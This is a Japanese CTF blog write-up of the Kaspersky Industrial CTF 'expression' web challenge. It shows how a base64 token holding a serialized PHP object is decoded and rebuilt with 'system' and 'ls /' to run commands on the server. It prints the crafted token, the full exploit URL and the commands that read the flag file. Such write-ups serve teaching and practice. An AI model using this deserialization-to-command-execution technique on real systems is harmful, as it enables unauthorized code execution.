はまやんはまやんはまやん

hamayanhamayan's blog

expression [Kaspersky Industrial CTF Web 50]

https://ctftime.org/task/7103

これはコマンドインジェクションと呼んでいいの?
強いCTFerに教えてほしい。

解説

参考にした解説 1 2 3

「1+2」とやると、Tokenが出てくる。
Token: TzoxMDoiRXhwcmVzc2lvbiI6Mzp7czoxNDoiAEV4cHJlc3Npb24Ab3AiO3M6Mzoic3VtIjtzOjE4Oi
IARXhwcmVzc2lvbgBwYXJhbXMiO2E6Mjp7aTowO2Q6MTtpOjE7ZDoyO31zOjk6InN0cmluZ2lmeSI7czo1OiIxICsgMiI7fQ==
Share itとすると、「http://expression.2018.ctf.kaspersky.com/?action=load&token=さっきのトークン」で演算が実行されている。
自分でトークンをうまく作って、これに載せるっぽい。
 
TokenはBase64なので、デコードする。
O:10:"Expression":3:{s:14:" Expression op";s:3:"sum";s:18:" Expression params";a:2:{i:0;d:1;i:1;d:2;}s:9:"stringify";s:5:"1 + 2";}
これはPHPのオブジェクトをシリアライズしたもの。参考
「種類:バイト数:値」で表現されるらしいので、

O:10:"Expression": # クラス名
3:{ # 要素数
    s:14:" Expression op"; # プロパティ名
    s:3:"sum"; # 値
    s:18:" Expression params"; # プロパティ名
    a:2:{i:0;d:1;i:1;d:2;} # 値
    s:9:"stringify";
    s:5:"1 + 2";
}

sは文字列、aは配列、Oはクラスになっている。
aは配列で、i:添字:?:値になっている。
なので、このクラスは

class Expression {
    public $expressionop = "sum";
    public $expressionparams = [1, 2];
    public $stringify = "1 + 2";
}

と読み替えられる。
 
ここでopで関数を指定して、paramsで引数を指定していると推測を立てる。
なので、関数をsystem、引数を任意のコマンドを入れると、任意のコマンド実行できる。

ここに自動でクエリを入れて、結果を返すpythonコードがある
かっこいい。

ls /
http://expression.2018.ctf.kaspersky.com/?action=load&token=TzoxMDoiRXhwcmVzc2lvbiI6Mzp7czoxNDoiAEV4cHJlc3Npb24Ab3AiO3M6Njoic3lzdGVtI
jtzOjE4OiIARXhwcmVzc2lvbgBwYXJhbXMiO3M6NDoibHMgLyI7czo5OiJzdHJpbmdpZnkiO3M6NToiMSArIDIiO30=
これで/fl4g_h4r3が見える。

解説では「find /」とやると「/fl4g_h4r3」つまりflag hereがあるので、「cat /fl4g_h4r3」すると答え。